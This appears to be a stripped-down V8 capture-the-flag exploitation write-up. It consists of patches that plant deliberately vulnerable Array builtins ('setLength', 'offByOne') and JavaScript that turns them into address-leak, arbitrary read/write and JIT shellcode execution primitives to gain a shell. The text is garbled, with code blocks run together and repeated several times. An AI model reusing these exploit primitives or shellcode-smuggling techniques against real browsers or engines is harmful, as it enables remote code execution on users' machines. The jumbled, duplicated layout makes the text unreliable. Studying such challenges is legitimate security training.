"concat",diff --git a/BUILD.gn b/BUILD.gnindex c0192593c4a..83e264723f7 100644--- a/BUILD.gn+++ b/BUILD.gn@@ -1889,6 +1889,7 @@ if (v8_postmortem_support) { } torque_files = [+ "src/builtins/array-setlength.tq", "src/builtins/aggregate-error.tq", "src/builtins/array-at.tq", "src/builtins/array-concat.tq",diff --git a/src/builtins/array-setlength.tq b/src/builtins/array-setlength.tqnew file mode 100644index 00000000000..4a2a864af44--- /dev/null+++ b/src/builtins/array-setlength.tq@@ -0,0 +1,14 @@+namespace array {+transitioning javascript builtin+ArrayPrototypeSetLength(+ js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {+ try {+ const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;+ const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;+ array.length = len;+ } label ErrorLabel {+ Print("Nope");+ }+ return receiver;+}+}diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..382c015bc48 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/ return global_template; }diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.ccindex 48249695b7b..f3379ac47ec 100644--- a/src/init/bootstrapper.cc+++ b/src/init/bootstrapper.cc@@ -2531,6 +2531,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, JSObject::AddProperty(isolate_, proto, factory->constructor_string(), array_function, DONT_ENUM); + SimpleInstallFunction(isolate_, proto, "setLength",+ Builtin::kArrayPrototypeSetLength, 1, true); SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1, true); SimpleInstallFunction(isolate_, proto, "concat",var array = new Array(0x1000).fill(1.1)var rw_array = new Array(0x1000).fill(2.2);array.setLength(0x10000);var double_map_addr = u64_to_u32_lo(f64_to_u64(array[0x1000]));var double_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x1000]));logg("double_array_map",double_map_addr)logg("double_prototype_addr",double_prototype_addr)var array = new Array(0x1000).fill(1.1)var rw_array = new Array(0x1000).fill(2.2);array.setLength(0x10000);var double_map_addr = u64_to_u32_lo(f64_to_u64(array[0x1000]));var double_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x1000]));logg("double_array_map",double_map_addr)logg("double_prototype_addr",double_prototype_addr)var rw_array = new Array(0x1000).fill(2.2);var obj = {array,rw_array};// 方法2rw_array.setLength(0x10000);var obj_map_addr = u64_to_u32_lo(f64_to_u64(rw_array[0x1000]));var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(rw_array[0x1000]));logg("obj_map_addr",obj_map_addr)logg("obj_prototype_addr",obj_prototype_addr)var rw_array = new Array(0x1000).fill(2.2);var obj = {array,rw_array};// 方法2rw_array.setLength(0x10000);var obj_map_addr = u64_to_u32_lo(f64_to_u64(rw_array[0x1000]));var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(rw_array[0x1000]));logg("obj_map_addr",obj_map_addr)logg("obj_prototype_addr",obj_prototype_addr)function addressOf(object){ rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr); obj[0] = object; rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr); return u64_to_u32_lo(f64_to_u64(obj[0]));}function addressOf(object){ rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr); obj[0] = object; rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr); return u64_to_u32_lo(f64_to_u64(obj[0]));}function AAR(addr){ rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr); rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000); // rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr); return f64_to_u64(obj[0]);}function AAR(addr){ rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr); rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000); // rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr); return f64_to_u64(obj[0]);}function AAW(addr,val){ rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr); rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000); // let lo = Number(BigInt(val) & 0xffffffffn); // let hi = Number((BigInt(val) >> 32n) & 0xffffffffn); // logg("lo",lo); // logg("hi",hi); // obj[0] = lh_u32_to_f64(lo,hi); obj[0] = u64_to_f64(val);}function AAW(addr,val){ rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr); rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000); // let lo = Number(BigInt(val) & 0xffffffffn); // let hi = Number((BigInt(val) >> 32n) & 0xffffffffn); // logg("lo",lo); // logg("hi",hi); // obj[0] = lh_u32_to_f64(lo,hi); obj[0] = u64_to_f64(val);}var shellcode_addr = addressOf(shellcode);var code_addr = AAR(shellcode_addr+0xc) & 0xffffffffn;var ins_base = AAR(Number(code_addr)-1+0x14);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base",ins_base);logg("rop_addr",ins_base+0x6bn);AAW(Number(code_addr)-1+0x14,BigInt(ins_base+0x6bn))shellcode();var shellcode_addr = addressOf(shellcode);var code_addr = AAR(shellcode_addr+0xc) & 0xffffffffn;var ins_base = AAR(Number(code_addr)-1+0x14);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base",ins_base);logg("rop_addr",ins_base+0x6bn);AAW(Number(code_addr)-1+0x14,BigInt(ins_base+0x6bn))shellcode();var buf = new ArrayBuffer(8);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0];}function f64_to_u64(val){ f64[0] = val; return u64[0];}function u64_to_f64(val){ u64[0] = val; return f64[0];}function u64_to_u32_lo(val){ u64[0] = val; return u32[0];}function u64_to_u32_hi(val){ u64[0] = val; return u32[1];}function u32_to_f32(val){ u32[0] = val; return f32[0];}// function stop(){// %SystemBreak();// }// function p(arg){// %DebugPrint(arg);// }function spin(){ while(1){};}function hex(str){ return str.toString(16).padStart(16,0);}function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val));}// // gain shell// const shellcode = () => {return [// 1.9553825422107533e-246,// 1.9560612558242147e-246,// 1.9995714719542577e-246,// 1.9533767332674093e-246,// 2.6348604765229606e-284// ];}const shellcode = () => {return [ 1.9710255944286777e-246, 1.971136949489835e-246, 1.97118242283721e-246, 1.9711826272864685e-246, 1.9712937950614383e-246, -1.6956275879669133e-231];}for(let i = 0; i< 10000; i++){ shellcode();}// js_heap_defragment();var tag = 1;var array = new Array(0x1000).fill(1.1)var rw_array = new Array(0x1000).fill(2.2);var obj = {array,rw_array};array.setLength(0x10000);// p(array);// p(rw_array);// p(obj);var double_map_addr = u64_to_u32_lo(f64_to_u64(array[0x1000]));var double_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x1000]));// // 方法1// var obj_map_addr = u64_to_u32_lo(f64_to_u64(array[0x2805]));// var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x2805]));// 方法2rw_array.setLength(0x10000);var obj_map_addr = u64_to_u32_lo(f64_to_u64(rw_array[0x1000]));var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(rw_array[0x1000]));logg("double_array_map",double_map_addr)logg("double_prototype_addr",double_prototype_addr)logg("obj_map_addr",obj_map_addr)logg("obj_prototype_addr",obj_prototype_addr)function addressOf(object){ rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr); obj[0] = object; rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr); return u64_to_u32_lo(f64_to_u64(obj[0]));}function AAR(addr){ rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr); rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000); // rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr); return f64_to_u64(obj[0]);}function AAW(addr,val){ rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr); rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000); // let lo = Number(BigInt(val) & 0xffffffffn); // let hi = Number((BigInt(val) >> 32n) & 0xffffffffn); // logg("lo",lo); // logg("hi",hi); // obj[0] = lh_u32_to_f64(lo,hi); obj[0] = u64_to_f64(val);}// p(shellcode);var shellcode_addr = addressOf(shellcode);var code_addr = AAR(shellcode_addr+0xc) & 0xffffffffn;var ins_base = AAR(Number(code_addr)-1+0x14);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base",ins_base);logg("rop_addr",ins_base+0x6bn);AAW(Number(code_addr)-1+0x14,BigInt(ins_base+0x6bn))// stop();shellcode();// spin();var buf = new ArrayBuffer(8);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function lh_u32_to_f64(l,h){ u32[0] = l; u32[1] = h; return f64[0];}function f64_to_u64(val){ f64[0] = val; return u64[0];}function u64_to_f64(val){ u64[0] = val; return f64[0];}function u64_to_u32_lo(val){ u64[0] = val; return u32[0];}function u64_to_u32_hi(val){ u64[0] = val; return u32[1];}function u32_to_f32(val){ u32[0] = val; return f32[0];}// function stop(){// %SystemBreak();// }// function p(arg){// %DebugPrint(arg);// }function spin(){ while(1){};}function hex(str){ return str.toString(16).padStart(16,0);}function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val));}// // gain shell// const shellcode = () => {return [// 1.9553825422107533e-246,// 1.9560612558242147e-246,// 1.9995714719542577e-246,// 1.9533767332674093e-246,// 2.6348604765229606e-284// ];}const shellcode = () => {return [ 1.9710255944286777e-246, 1.971136949489835e-246, 1.97118242283721e-246, 1.9711826272864685e-246, 1.9712937950614383e-246, -1.6956275879669133e-231];}for(let i = 0; i< 10000; i++){ shellcode();}// js_heap_defragment();var tag = 1;var array = new Array(0x1000).fill(1.1)var rw_array = new Array(0x1000).fill(2.2);var obj = {array,rw_array};array.setLength(0x10000);// p(array);// p(rw_array);// p(obj);var double_map_addr = u64_to_u32_lo(f64_to_u64(array[0x1000]));var double_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x1000]));// // 方法1// var obj_map_addr = u64_to_u32_lo(f64_to_u64(array[0x2805]));// var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x2805]));// 方法2rw_array.setLength(0x10000);var obj_map_addr = u64_to_u32_lo(f64_to_u64(rw_array[0x1000]));var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(rw_array[0x1000]));logg("double_array_map",double_map_addr)logg("double_prototype_addr",double_prototype_addr)logg("obj_map_addr",obj_map_addr)logg("obj_prototype_addr",obj_prototype_addr)function addressOf(object){ rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr); obj[0] = object; rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr); return u64_to_u32_lo(f64_to_u64(obj[0]));}function AAR(addr){ rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr); rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000); // rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr); return f64_to_u64(obj[0]);}function AAW(addr,val){ rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr); rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000); // let lo = Number(BigInt(val) & 0xffffffffn); // let hi = Number((BigInt(val) >> 32n) & 0xffffffffn); // logg("lo",lo); // logg("hi",hi); // obj[0] = lh_u32_to_f64(lo,hi); obj[0] = u64_to_f64(val);}// p(shellcode);var shellcode_addr = addressOf(shellcode);var code_addr = AAR(shellcode_addr+0xc) & 0xffffffffn;var ins_base = AAR(Number(code_addr)-1+0x14);logg("shellcode_addr",shellcode_addr);logg("code_addr",code_addr);logg("ins_base",ins_base);logg("rop_addr",ins_base+0x6bn);AAW(Number(code_addr)-1+0x14,BigInt(ins_base+0x6bn))// stop();shellcode();// spin();git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffgclient sync -Dgit apply < ./patchgn gen out/releasegit reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffgclient sync -Dgit apply < ./patchgn gen out/release➜ release cat args.gn# Set build arguments here. See `gn help buildargs`.is_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truedcheck_always_on = falseuse_goma = falsev8_code_pointer_sandboxing = false➜ release ➜ release cat args.gn# Set build arguments here. See `gn help buildargs`.is_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truedcheck_always_on = falseuse_goma = falsev8_code_pointer_sandboxing = false➜ release autoninja -C out/release d8autoninja -C out/release d8+BUILTIN(ArrayOffByOne) {+ HandleScope scope(isolate);+ Factory *factory = isolate->factory();+ Handle<Object> receiver = args.receiver();++ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Nope")));+ }++ Handle<JSArray> array = Cast<JSArray>(receiver);++ ElementsKind kind = array->GetElementsKind();++ if (kind != PACKED_DOUBLE_ELEMENTS && kind != HOLEY_DOUBLE_ELEMENTS && kind != PACKED_ELEMENTS && kind != HOLEY_ELEMENTS) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need an array of double numbers or objects")));+ }++ if (args.length() > 2) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Too many arguments")));+ }+ + uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));+ + if (kind == PACKED_DOUBLE_ELEMENTS || kind == HOLEY_DOUBLE_ELEMENTS) {+ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);+ if (args.length() == 1) { // read mode+ return *(isolate->factory()->NewNumber(elements->get_scalar(len)));+ } else { // write mode+ Handle<Object> value = args.at(1);+ if (!IsNumber(*value)) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need a number argument")));+ }+ double num = static_cast<double>(Object::NumberValue(*value));+ elements->set(len, num);+ return ReadOnlyRoots(isolate).undefined_value();+ }+ } else {+ Handle<FixedArray> elements(Cast<FixedArray>(array->elements()), isolate);+ if (args.length() == 1) { // read mode+ return elements->get(len);+ } else { // write mode+ Handle<Object> value = args.at(1);+ elements->set(len, *value);+ return ReadOnlyRoots(isolate).undefined_value();+ }+ }+}+BUILTIN(ArrayOffByOne) {+ HandleScope scope(isolate);+ Factory *factory = isolate->factory();+ Handle<Object> receiver = args.receiver();++ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Nope")));+ }++ Handle<JSArray> array = Cast<JSArray>(receiver);++ ElementsKind kind = array->GetElementsKind();++ if (kind != PACKED_DOUBLE_ELEMENTS && kind != HOLEY_DOUBLE_ELEMENTS && kind != PACKED_ELEMENTS && kind != HOLEY_ELEMENTS) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need an array of double numbers or objects")));+ }++ if (args.length() > 2) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Too many arguments")));+ }+ + uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));+ + if (kind == PACKED_DOUBLE_ELEMENTS || kind == HOLEY_DOUBLE_ELEMENTS) {+ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);+ if (args.length() == 1) { // read mode+ return *(isolate->factory()->NewNumber(elements->get_scalar(len)));+ } else { // write mode+ Handle<Object> value = args.at(1);+ if (!IsNumber(*value)) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need a number argument")));+ }+ double num = static_cast<double>(Object::NumberValue(*value));+ elements->set(len, num);+ return ReadOnlyRoots(isolate).undefined_value();+ }+ } else {+ Handle<FixedArray> elements(Cast<FixedArray>(array->elements()), isolate);+ if (args.length() == 1) { // read mode+ return elements->get(len);+ } else { // write mode+ Handle<Object> value = args.at(1);+ elements->set(len, *value);+ return ReadOnlyRoots(isolate).undefined_value();+ }+ }+}diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.ccindex ea45a7ada6b..4ed66c8113f 100644--- a/src/builtins/builtins-array.cc+++ b/src/builtins/builtins-array.cc@@ -407,6 +407,52 @@ BUILTIN(ArrayPush) { return *isolate->factory()->NewNumberFromUint((new_length)); } +BUILTIN(ArrayOffByOne) {+ HandleScope scope(isolate);+ Factory *factory = isolate->factory();+ Handle<Object> receiver = args.receiver();++ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Nope")));+ }++ Handle<JSArray> array = Cast<JSArray>(receiver);++ ElementsKind kind = array->GetElementsKind();++ if (kind != PACKED_DOUBLE_ELEMENTS && kind != HOLEY_DOUBLE_ELEMENTS && kind != PACKED_ELEMENTS && kind != HOLEY_ELEMENTS) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need an array of double numbers or objects")));+ }++ if (args.length() > 2) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Too many arguments")));+ }+ + uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));+ + if (kind == PACKED_DOUBLE_ELEMENTS || kind == HOLEY_DOUBLE_ELEMENTS) {+ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);+ if (args.length() == 1) { // read mode+ return *(isolate->factory()->NewNumber(elements->get_scalar(len)));+ } else { // write mode+ Handle<Object> value = args.at(1);+ if (!IsNumber(*value)) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need a number argument")));+ }+ double num = static_cast<double>(Object::NumberValue(*value));+ elements->set(len, num);+ return ReadOnlyRoots(isolate).undefined_value();+ }+ } else {+ Handle<FixedArray> elements(Cast<FixedArray>(array->elements()), isolate);+ if (args.length() == 1) { // read mode+ return elements->get(len);+ } else { // write mode+ Handle<Object> value = args.at(1);+ elements->set(len, *value);+ return ReadOnlyRoots(isolate).undefined_value();+ }+ }+}+ namespace { V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.hindex 78cbf8874ed..8a0bd959a29 100644--- a/src/builtins/builtins-definitions.h+++ b/src/builtins/builtins-definitions.h@@ -394,6 +394,7 @@ namespace internal { ArraySingleArgumentConstructor) \ TFC(ArrayNArgumentsConstructor, ArrayNArgumentsConstructor) \ CPP(ArrayConcat) \+ CPP(ArrayOffByOne) \ /* ES6 #sec-array.prototype.fill */ \ CPP(ArrayPrototypeFill) \ /* ES7 #sec-array.prototype.includes */ \diff --git a/src/compiler/typer.cc b/src/compiler/typer.ccindex 9a346d134b9..ce31f92b876 100644--- a/src/compiler/typer.cc+++ b/src/compiler/typer.cc@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtin::kArrayUnshift: return t->cache_->kPositiveSafeInteger;+ case Builtin::kArrayOffByOne:+ return Type::Receiver(); // ArrayBuffer functions. case Builtin::kArrayBufferIsView:diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..382c015bc48 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/ return global_template; }diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.ccindex 48249695b7b..99dc014c13c 100644--- a/src/init/bootstrapper.cc+++ b/src/init/bootstrapper.cc@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1, true);+ SimpleInstallFunction(isolate_, proto, "offByOne",+ Builtin::kArrayOffByOne, 1, false); SimpleInstallFunction(isolate_, proto, "concat", Builtin::kArrayPrototypeConcat, 1, false); SimpleInstallFunction(isolate_, proto, "copyWithin",diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.ccindex ea45a7ada6b..4ed66c8113f 100644--- a/src/builtins/builtins-array.cc+++ b/src/builtins/builtins-array.cc@@ -407,6 +407,52 @@ BUILTIN(ArrayPush) { return *isolate->factory()->NewNumberFromUint((new_length)); } +BUILTIN(ArrayOffByOne) {+ HandleScope scope(isolate);+ Factory *factory = isolate->factory();+ Handle<Object> receiver = args.receiver();++ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Nope")));+ }++ Handle<JSArray> array = Cast<JSArray>(receiver);++ ElementsKind kind = array->GetElementsKind();++ if (kind != PACKED_DOUBLE_ELEMENTS && kind != HOLEY_DOUBLE_ELEMENTS && kind != PACKED_ELEMENTS && kind != HOLEY_ELEMENTS) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need an array of double numbers or objects")));+ }++ if (args.length() > 2) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Too many arguments")));+ }+ + uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));+ + if (kind == PACKED_DOUBLE_ELEMENTS || kind == HOLEY_DOUBLE_ELEMENTS) {+ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);+ if (args.length() == 1) { // read mode+ return *(isolate->factory()->NewNumber(elements->get_scalar(len)));+ } else { // write mode+ Handle<Object> value = args.at(1);+ if (!IsNumber(*value)) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need a number argument")));+ }+ double num = static_cast<double>(Object::NumberValue(*value));+ elements->set(len, num);+ return ReadOnlyRoots(isolate).undefined_value();+ }+ } else {+ Handle<FixedArray> elements(Cast<FixedArray>(array->elements()), isolate);+ if (args.length() == 1) { // read mode+ return elements->get(len);+ } else { // write mode+ Handle<Object> value = args.at(1);+ elements->set(len, *value);+ return ReadOnlyRoots(isolate).undefined_value();+ }+ }+}+ namespace { V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.hindex 78cbf8874ed..8a0bd959a29 100644--- a/src/builtins/builtins-definitions.h+++ b/src/builtins/builtins-definitions.h@@ -394,6 +394,7 @@ namespace internal { ArraySingleArgumentConstructor) \ TFC(ArrayNArgumentsConstructor, ArrayNArgumentsConstructor) \ CPP(ArrayConcat) \+ CPP(ArrayOffByOne) \ /* ES6 #sec-array.prototype.fill */ \ CPP(ArrayPrototypeFill) \ /* ES7 #sec-array.prototype.includes */ \diff --git a/src/compiler/typer.cc b/src/compiler/typer.ccindex 9a346d134b9..ce31f92b876 100644--- a/src/compiler/typer.cc+++ b/src/compiler/typer.cc@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtin::kArrayUnshift: return t->cache_->kPositiveSafeInteger;+ case Builtin::kArrayOffByOne:+ return Type::Receiver(); // ArrayBuffer functions. case Builtin::kArrayBufferIsView:diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..382c015bc48 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/ return global_template; }diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.ccindex 48249695b7b..99dc014c13c 100644--- a/src/init/bootstrapper.cc+++ b/src/init/bootstrapper.cc@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1, true);+ SimpleInstallFunction(isolate_, proto, "offByOne",+ Builtin::kArrayOffByOne, 1, false); SimpleInstallFunction(isolate_, proto, "concat", Builtin::kArrayPrototypeConcat, 1, false); 